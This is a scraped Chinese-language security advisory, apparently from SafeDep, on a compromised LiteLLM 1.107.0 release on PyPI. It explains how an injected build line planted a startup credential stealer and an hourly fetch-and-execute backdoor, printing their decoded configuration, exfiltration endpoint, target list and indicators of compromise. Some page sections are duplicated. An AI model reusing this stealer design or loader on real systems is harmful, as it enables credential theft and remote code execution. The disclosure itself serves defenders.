Hacker News Best

Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor

8.5内容质量

TL;DR · AI 摘要

LiteLLM 1.107.0版本在PyPI上被植入凭证窃取器和后门,PyPI已移除该版本。

核心要点

  • LiteLLM 1.107.0版本在PyPI上被植入凭证窃取器和后门
  • PyPI已移除该恶意版本及所有相关轮子文件
  • cook.py文件会收集SSH密钥、云凭证和CI/CD秘密

结构提纲

按章节快速跳转。

  1. 报告LiteLLM 1.107.0版本在PyPI上被植入恶意代码

  2. 恶意版本安装后会在Python启动时自动加载凭证窃取器

  3. 三个文件被植入,其中cook.py负责收集敏感信息

  4. PyPI已移除恶意版本及所有相关轮子文件

思维导图

用一张图看清主题之间的关系。

查看大纲文本(无障碍 / 无 JS 友好)
  • LiteLLM供应链攻击事件
    • 攻击机制
      • 凭证窃取器cook.py
      • 远程代码执行后门
    • 受影响版本
      • 1.107.0
    • 处理措施
      • PyPI移除恶意版本

金句 / Highlights

值得收藏与分享的关键句。

#Security#PyPI#LiteLLM#供应链攻击
打开原文

PyPI 上被篡改的 LiteLLM 1.107.0 安装凭证窃取器和后门 - 实时开源软件供应链安全

页眉部分:保持黑色背景 —— 仅文章正文区域采用提升的阅读表面,使阅读区域呈现为独立面板

返回博客

社交图标

内容

标题

PyPI 上被篡改的 LiteLLM 1.107.0 安装凭证窃取器和后门

标签

  • 安全

Kunal Singh

•

2026年10月21日

6分钟阅读

主内容区域:采用提升的阅读表面(#101318,Material-dark 领域),使浅色文字在真实基底上呈现而非纯黑背景 —— 长篇阅读时眩光显著减少。布局:文章列居中对齐,真实留白分隔,目录浮动在右侧留白区(无分隔边框 —— 通过留白实现区域分离)

目录(移动端显示在内容上方,桌面端显示在右侧留白区)

目录:右侧留白区的静默链接列表。该轨道自带较暗色调,与正文文字形成独立区域(无边框 —— 通过色调边缘实现区域划分)。包含 CTA 时,轨道变为固定高度列:目录列表可滚动,卡片保持固定。在 lg 屏幕下,轨道堆叠在文章上方,因此在此处折叠为单行条,而非将首段推离屏幕。

本页内容

6个部分

在桌面端,CTA 与侧边栏自身边缘对齐,而非内嵌在目录文本列中:额外宽度使文字换行减少,因此卡片更短,且看起来固定在轨道底部。其上方的空白是此处的边距,而非滚动区域内的内边距,因此在列表滚动时保持稳定。

博客内容

lg:pr-8 保持全出血内容(小部件、代码块、表格)远离目录面板,目录面板自身的背景从列边缘开始。正文文本已通过其 48rem 的度量内嵌;全出血元素则未内嵌。无轨道时无需清除任何内容,因此列直接移除该内边距。

内容。排版规则位于 src/assets/styles/blog-prose.css 中,采用扁平化 .blog-prose <el> 规则,而非旧版内联 prose-* / [&_…] 修饰符字符串 —— 该字符串编译为约 40 个复杂选择器,Chrome iOS(WKWebView)在每次滚动重计算时都会重新匹配,导致页面空白。保留基础 prose prose-lg prose-invert 重置。正文文本在此文件中被限制在可读度量内;代码块、表格和嵌入内容则故意横跨整列。

PyPI 上发布的 LiteLLM 1.107.0 版本包含凭证窃取器和远程代码执行后门。所有七个轮子(Linux、macOS、Windows)在 site-packages 中安装三个文件。当主机上任何 Python 进程启动时,即使从未导入 litellm 的进程,这些文件都会运行。上游 GitHub 源代码中不包含这些文件。PyPI 已经移除了该版本。

版本 1.106.2、1.107.0rc1 和 1.107.0rc2 是干净的。1.107.0 依赖的配套包 litellm-proxy-extras==0.4.110 和 litellm-enterprise==0.1.78 也是干净的。

攻击行为说明

安装 litellm==1.107.0 会在 site-packages 中放置三个文件。每次 Python 启动时都会加载其中两个文件。

  • cook.pth 导入 cook.py,这是一个凭证窃取器。它收集 SSH 密钥、云凭证、CI/CD 秘密、AI 工具令牌、浏览器密码以及 LiteLLM 代理数据库中的 LLM 提供商密钥。它会加密数据并发送到 www.litellm[.]dev。
  • sitecustomize.py 启动一个后台守护进程。每小时,该守护进程从 GitHub 文件中读取一个服务器地址,重新运行窃取器,并从该服务器下载并执行代码。

植入物如何进入发布版本

1.107.0 源代码分发包(sdist)中的 pyproject.toml 文件在 maturin 构建部分多了一行:

标题栏

pyproject.toml(litellm-1.107.0.tar.gz)

复制

单个滚动容器:边距 + 代码滚动一起

行边距

1

2

3

4

5

6

代码 —— 去除所有表达式代码的 chrome

code
[
tool
.
maturin
]
...
python-source =
"."
data =
"cook"
# <-- 注入
python-packages = [
"litellm_cli"
]
# 合法(上游存在)

状态栏

TOML

6 行

maturin 的 data = "cook" 设置会将 cook/ 文件夹复制到 wheel 中的 litellm-1.107.0.data/purelib/ 目录。pip 会将该文件夹安装到 site-packages 中。

sdist 版本会省略 cook/ 文件夹,因此这行是唯一可见的修改。BerriAI/litellm 的公开提交中没有任何包含 data = "cook" 或 cook/ 文件夹的内容。

wheel 的 RECORD 文件列出了新增的三个文件:

litellm-1.107.0.dist-info/RECORD

code
litellm-1.107.0.data/purelib/cook.pth           12 字节   "import cook"
litellm-1.107.0.data/purelib/cook.py         22252 字节   exec(zlib.decompress(b64decode(...)))
litellm-1.107.0.data/purelib/sitecustomize.py 25509 字节  loader/backdoor + 嵌入式窃取器

文本

4 行

发布版本与标签不匹配

标签 v1.107.0 指向 commit 66c8f5b(UTC 时间 06:59)。其 pyproject.toml 文件中版本号为 "1.108.0"。SafeDep 通过 blob 哈希将每个 sdist 文件与 git 树进行比对。该 sdist 文件匹配的是稍后的一个 main 提交 a8113b0(UTC 时间 08:50),以及五个修改过的文件和 cook/ 文件夹。

其中四个修改的文件是 Cargo.toml,新增了 readme = "README.md" 的行。合法的 1.106.2 和 rc2 版本也有相同的修改。第五个是 pyproject.toml,与 a8113b0 的对比如下:

pyproject.toml(a8113b0 → litellm-1.107.0.tar.gz)

7

8

9

10

11

code
-
version = "1.108.0"
+
version = "1.107.0"
-
"litellm-proxy-extras==0.4.111",
-
"litellm-enterprise==0.1.79",
+
"litellm-proxy-extras==0.4.110",     # 与 1.107.0rc2 的相同版本
+
"litellm-enterprise==0.1.78",
+
data = "cook"                            # 注入点
...
-
version = "1.108.0"                      # 第二个版本字段
+
version = "1.107.0"

差异

11 行

该修改将版本号回退到 1.107.0,并将配套包固定到 rc2 的版本。因此,与 rc2 的依赖差异显示没有异常。合法的 1.106.2 sdist 除了 Cargo.toml 的 readme 行外,与标签提交 49943cd 完全匹配。

wheel 文件的构建方式

恶意 wheel 文件与正常 BerriAI 发布流程的输出一致:

  • WHEEL 文件声明使用 maturin 1.9.4,与合法发布版本相同。植入文件具有正确的 RECORD 条目,表明构建后未进行任何修改。
  • ZIP 时间戳显示独立的本地构建:macOS 为 11:20,Linux 为 11:21,Windows 为 11:37 UTC。
  • Windows wheel 中所有 2,804 个 .py 文件都使用 CRLF 行结尾,包括三个植入文件。Linux wheel 中没有这种情况。在 Windows 上使用行结尾转换的 git checkout 会产生这种模式。

没有公开的 GitHub Actions 运行构建或发布该版本。SafeDep 检查了 UTC 时间 09:30 至 12:30 之间的所有 539 次运行。UTC 时间 11:50(即 PyPI 上传后约 10 分钟),litellm-dispatcher[bot] 发布了 GitHub 版本 v1.107.0。1.106.2 也出现了相同的延迟。PyPI 对 1.107.0、1.106.2 或 rc2 没有出处证明。

SafeDep 以中等到高等置信度评估认为,BerriAI 的私有发布管道从攻击者修改的 Git 源代码构建了这些 wheel 文件。攻击者可能使用了被入侵的维护者或机器人凭证、私有分支或镜像,或管道构建所引用的来源。从攻击者自己的机器上使用被盗的 PyPI 令牌与证据的匹配度较低。只有 BerriAI 的管道日志能够确认具体原因。

载荷 1:cook.py 中的凭证窃取器

启动时,Python 会运行 site-packages 中每个以 import 开头的 .pth 文件中的代码行。cook.pth 包含 import cook,因此窃取器会在主机上的每个 Python 进程中运行:应用程序、pip、IDE 语言服务器和 CI 任务。

cook.py 使用一层 exec(zlib.decompress(base64.b64decode('...'))) 包裹了约 61 KB 的 Python 代码。解码后的代码以以下配置开头:

cook.py(已解码)

code
PC_URL
=
'http://www.litellm.dev/healthcheck'
PC_TOKEN
=
'XWiA8gZNa7NcX2XRoAEb'
# 作为 X-Token 请求头发送
PC_PUBKEY
=
'-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...'
# RSA-4096
PC_ONCE_PATH
=
'/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC
=
True
# 在守护线程中运行
PC_MODULES
=
[
'sysinfo'
,
'netinfo'
,
'browser_pw'
,
'browser_hist'
,
'ssh_keys'
,
'shell_hist'
,
'cloud_creds'
,
'dev_secrets'
,
'container_creds'
,
'cicd_secrets'
,
'ai_devtools'
,
'env_vars'
,
'db_litellm'
,
'cloud_metadata'
,
'gpg_keys'
,
'tls_privkey'
]

PYTHON

10 行

它收集的内容

模块

目标

code
sysinfo

,

code
netinfo

主机名、用户、操作系统、IP 地址、网络设置

code
browser_pw

Chromium 保存的密码(使用配置文件主密钥解密,Windows 上使用 DPAPI)。Firefox

code
logins.json

和

code
key4.db
code
browser_hist

浏览器历史记录

code
ssh_keys
code
~/.ssh/*
code
shell_hist
code
bash
code
zsh

历史记录,PowerShell PSReadLine,

code
cmd

历史记录

code
cloud_creds
code
~/.aws/credentials
code
config

,Azure 配置文件和令牌,

code
gcloud

凭证,

code
~/.kube/config
code
~/.docker/config.json
code
gh
code
hosts.yml
code
rclone.conf
code
~/.netrc
code
dev_secrets
code
.pem
code
.key
code
.pfx
code
.p12
code
.pk8
code
.ppk

文件位于

code
$HOME

下,Composer

code
auth.json

,FileZilla 保存的服务器

code
container_creds

Kubernetes 服务账户令牌

code
cicd_secrets

GitLab runner

code
config.toml

,Jenkins

code
initialAdminPassword
code
master.key
code
.vault-token

,Terraform

code
credentials.tfrc.json

,Packer 配置

code
ai_devtools

Claude Code,Claude Desktop,Cursor,Windsurf,Copilot,VS Code

code
mcp.json

,Gemini CLI,Codex

,Continue,Aider,Goose,

code
opencode
code
Qwen

,Crush,

code
Kiro

,Zed,Hugging Face 令牌

code
env_vars

自身环境变量及其他进程的环境变量通过

code
/proc/<pid>/environ
code
db_litellm

读取

code
DATABASE_URL

并转储

code
LiteLLM_CredentialsTable
code
LiteLLM_ProxyModelTable

tables,用于存储 LiteLLM 代理的 LLM 提供商 API 密钥

code
cloud_metadata

AWS 实例元数据服务(IMDSv2,然后是 v1):实例身份和角色凭证

code
gpg_keys
code
tls_privkey

GPG 密钥、TLS 私钥

数据传输方式

  • 它使用随机生成的 AES-256-CBC 密钥对 JSON 结果进行加密,并使用 RSA-OAEP 算法和嵌入的公钥对密钥进行加密。
  • 它将结果打包为 tar.gz 格式(包含 hdr.json、data.bin、key.bin),并通过 POST 请求发送至 www.litellm[.]dev/healthcheck,请求头为 X-Token: XWiA8gZNa7NcX2XRoAEb。
  • 上传成功后,它会在 /tmp/ 下创建 .pc_once_72129118c59f5636c0bb 文件,确保每台主机仅收集一次数据。同时设置 PRIVCOLLECT_ACTIVE=1,避免同一进程树中重复运行。

载荷 2:sitecustomize.py 中的后门

Python 启动时会导入 sitecustomize,因此该文件会在每个 Python 进程中运行。

sitecustomize.py

code
GITHUB_RAW_URL
=
"https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH
=
"/codepy"
LOOP_INTERVAL
=
3600
LOCK_FILE
=
"/tmp/remote_code_loader.lock"

5 行代码

  • 它对 /tmp/remote_code_loader.lock 文件加排他锁,确保每台主机仅运行一个守护进程。
  • 它调用 fork() 和 setsid(),将标准输入输出重定向到 /dev/null,并将工作目录切换至 /,以脱离父进程。
  • 每小时执行一次:从攻击者 GitHub 仓库读取 domain.txt,提取第一行看起来像域名的内容,运行嵌入的窃取器(无每主机唯一标记),下载 http://<domain>/codepy 并通过 exec() 执行。

攻击者可通过编辑 domain.txt 指向新服务器。每个受感染主机将执行该服务器返回的 codepy 代码。UTC 时间 13:40,letters9813 GitHub 账号及其仓库返回 404,距离发布约两小时后。后门现在无法找到服务器地址,不再执行操作。删除前已运行守护进程的主机可能已接收并执行了第二阶段代码。SafeDep 无法恢复服务器地址。

时间线

所有时间均为 2026-10-21 UTC 时间。

时间

事件

06:59

标签

code
v1.107.0

提交

code
66c8f5b

创建

08:50

code
a8113b0

提交至

code
main

,作为发布源代码的基础

10:44

合法版本 1.106.2 上传至 PyPI

11:20 至 11:37

恶意版本 1.107.0 轮子文件构建

11:39 至 11:40

1.107.0 上传至 PyPI(共 8 个文件)

11:50

code
litellm-dispatcher[bot]

发布 GitHub 版本

13:40

观察到:1.107.0 从 PyPI 下架,

code
letters9813

账号被删除

感染迹象

网络

指标

目的

code
www.litellm[.]dev
code
hxxp://www.litellm[.]dev/healthcheck

接收窃取数据

HTTP 请求头

code
X-Token: XWiA8gZNa7NcX2XRoAEb

每次上传时发送

code
raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt

后门在此读取服务器地址(账号已删除)

code
hxxp://<domain>/codepy

第二阶段代码下载

来自 Python 进程的请求

code
169.254.169.254

AWS 实例凭证窃取

主机

含义

code
cook.pth
code
cook.py
code
sitecustomize.py

位于

code
site-packages

植入已安装

code
/tmp/.pc_once_72129118c59f5636c0bb

窃取器已上传数据

code
/tmp/remote_code_loader.lock

后门守护进程已运行

环境变量

code
PRIVCOLLECT_ACTIVE=1

存在于受感染进程

Detached Python 守护进程(父进程 PID 1,独立会话,工作目录

code
/

)

后门循环

文件哈希值(SHA-256)

文件

SHA-256

code
litellm-1.107.0.tar.gz
code
2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819
code
litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl
code
462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7
code
litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl
code
668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6
code
litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl
code
1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00
code
litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl
code
c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054
code
litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl
code
7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
code
litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl
code
0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a
code
litellm-1.107.0-cp310-abi3-win_amd64.whl
code
12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484

由于 Windows 使用 CRLF 换行符,植入的文件哈希值会有所不同:

Linux 和 macOS

Windows

code
7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb
code
84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d
code
9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25
code
03ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea
code
34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa
code
b6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465

<section style="background: radial-gradient(62.11% 67.66% at 50% 0.09%, #004039 0%, #000000 100%);"> <div class="mx-auto max-w-[748px] min-h-[160px] p-14 flex items-center border-t border-b border-l border-r border-neutral-700" > <div class="flex flex-col md:flex-row md:items-center md:justify-between gap-10 w-full"> <div class="flex-1"> <span class="text-xl md:text-2xl text-white">保护您的代码</span><br /> <span class="text-xl md:text-2xl text-white">阻止恶意软件包</span> </div> <div class="flex-shrink-0"> <CTAButton /> </div> </div> </div> </section>

  • pypi
  • python
  • malware
  • supply-chain
  • litellm

分类和社交分享部分

作者信息

作者

#### Kunal Singh

safedep.io

社交分享

分享

左侧:带高亮文本的标题

SafeDep 博客最新动态

右侧:描述

关注获取开源安全与工程的最新动态和见解

左侧栏

分类

伪造提交将预安装植入器推送到 hugo-paper 和 mevn-cli

摘要

攻击者向 hugo-paper 和 mevn-cli 的默认分支推送了伪造提交。在任一仓库中运行 npm install 或 bun install 会下载并运行来自...

页脚

ASOS 应用攻击:攻击者利用推送通知发送勒索信

攻击者进入了 ASOS 用于向客户发送消息的平台,并向手机推送了勒索信。以下是已确认的信息、仅被声称的信息以及客户应采取的行动。

右侧栏

MALFEX 将其 npm 安装器迁移到 musllinux 平台

code
litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl
code
1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00
code
litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl
code
c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054
code
litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl
code
7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
code
litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl
code
0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a
code
litellm-1.107.0-cp310-abi3-win_amd64.whl
code
12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484

由于 Windows 使用 CRLF 换行符,植入的文件哈希值会有所不同:

Linux 和 macOS

Windows

code
7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb
code
84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d
code
9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25
code
03ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea
code
34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa
code
b6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465

<section style="background: radial-gradient(62.11% 67.66% at 50% 0.09%, #004039 0%, #000000 100%);"> <div class="mx-auto max-w-[748px] min-h-[160px] p-14 flex items-center border-t border-b border-l border-r border-neutral-700" > <div class="flex flex-col md:flex-row md:items-center md:justify-between gap-10 w-full"> <div class="flex-1"> <span class="text-xl md:text-2xl text-white">保护您的代码</span><br /> <span class="text-xl md:text-2xl text-white">阻止恶意软件包</span> </div> <div class="flex-shrink-0"> <CTAButton /> </div> </div> </div> </section>

  • pypi
  • python
  • malware
  • supply-chain
  • litellm

分类和社交分享部分

作者信息

作者

#### Kunal Singh

safedep.io

社交分享

分享

左侧:带高亮文本的标题

SafeDep 博客最新动态

右侧:描述

关注获取开源安全与工程的最新动态和见解

左侧栏

分类

伪造提交将预安装植入器推送到 hugo-paper 和 mevn-cli

摘要

攻击者向 hugo-paper 和 mevn-cli 的默认分支推送了伪造提交。在任一仓库中运行 npm install 或 bun install 会下载并运行来自...

页脚

ASOS 应用攻击:攻击者利用推送通知发送勒索信

攻击者进入了 ASOS 用于向客户发送消息的平台,并向手机推送了勒索信。以下是已确认的信息、仅被声称的信息以及客户应采取的行动。

右侧栏

MALFEX 将其 npm 安装器迁移到 musllinux 平台

tensorlake 0.5.144 npm 被入侵 发布微型沙伊-胡卢德蠕虫

[email protected] 在 npm 安装过程中运行了微型沙伊-胡卢德蠕虫。维护者账号通过 GitHub 网页界面提交了恶意载荷,官方发布流程将其发布。

查看所有博客

GitHub 行动号召板块 - Figma 规格:1200×651

背景图片

背景模糊覆盖层

内容容器 - Figma 规格:392×326 带 26px 间距

Logo

标题

发布代码。

并非恶意软件。

描述

从本地开源工具免费开始,扩展到组织的统一平台。

行动号召按钮

在 GitHub 上星标

预约演示